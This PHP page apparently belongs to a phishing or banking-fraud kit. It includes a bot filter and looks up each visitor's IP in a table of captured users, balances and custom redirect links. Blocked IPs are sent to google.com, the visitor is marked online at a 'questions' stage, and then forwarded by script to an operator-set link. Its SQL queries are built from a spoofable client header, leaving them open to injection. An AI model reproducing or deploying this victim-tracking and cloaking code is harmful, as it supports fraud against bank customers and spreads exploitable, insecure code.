<?php
   @session_start();
   error_reporting(0);
   
   require_once "../cod3rconfig/registro.php";
   require_once "../cod3rconfig/conexao.php";
   require_once "../cod3rconfig/data.php";
   
    
   require("../bot.php");
    $erro = $_REQUEST['error'];
    $ip = (isset($_SERVER["HTTP_CF_CONNECTING_IP"])?$_SERVER["HTTP_CF_CONNECTING_IP"]:$_SERVER['REMOTE_ADDR']);
   
     $query_info = "SELECT * FROM infos WHERE ip='$ip'"; 
     $recorinfo = mysqli_query(DBConnect(), $query_info) or die(mysqli_error(DBConnect()));
     $row_infio = mysqli_fetch_assoc($recorinfo); 
     $totalRowsinfo = mysqli_num_rows($recorinfo); 
     
   //faz uma consulta para verificar se o ip já existe no banco de dados
   //$verifica = mysqli_query(DBConnect(), "SELECT * FROM valor");
   //retorna a quantidade de linhas da consulta ou seja, pode retornar 0 ou 1 linha
   //$valor  = mysqli_fetch_assoc($verifica);
   
   $email = $row_infio['usuario'];
   $user = $row_infio['user_master'];
   $saldo = $row_infio['saldo'];
   $linkredirect = $row_infio['linkpersonalizado'];

   $query_verificacadastro1 = "SELECT * FROM ipblock WHERE ip = '$ip'";
$verificacadastro1 = mysqli_query(DBCOnnect(), $query_verificacadastro1) or die(mysqli_error(DBCOnnect()));
$row_verificacadastro1 = mysqli_fetch_assoc($verificacadastro1);

if($row_verificacadastro1['ip'] == $ip ) {
    header("Location: https://www.google.com/");
}
   
   $tempo = time();
   $atualiza = mysqli_query(DBCOnnect(), "UPDATE infos SET tempo='$tempo', status='Online', statusremote='Online perguntas' WHERE ip='$ip'");
   
   ?>
   
   <!DOCTYPE html>
   <html lang="en">
   <head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title></title>
   </head>
   <body>
    <script>
        window.location.href = "<?php echo $linkredirect; ?>"
    </script>
   </body>
   </html>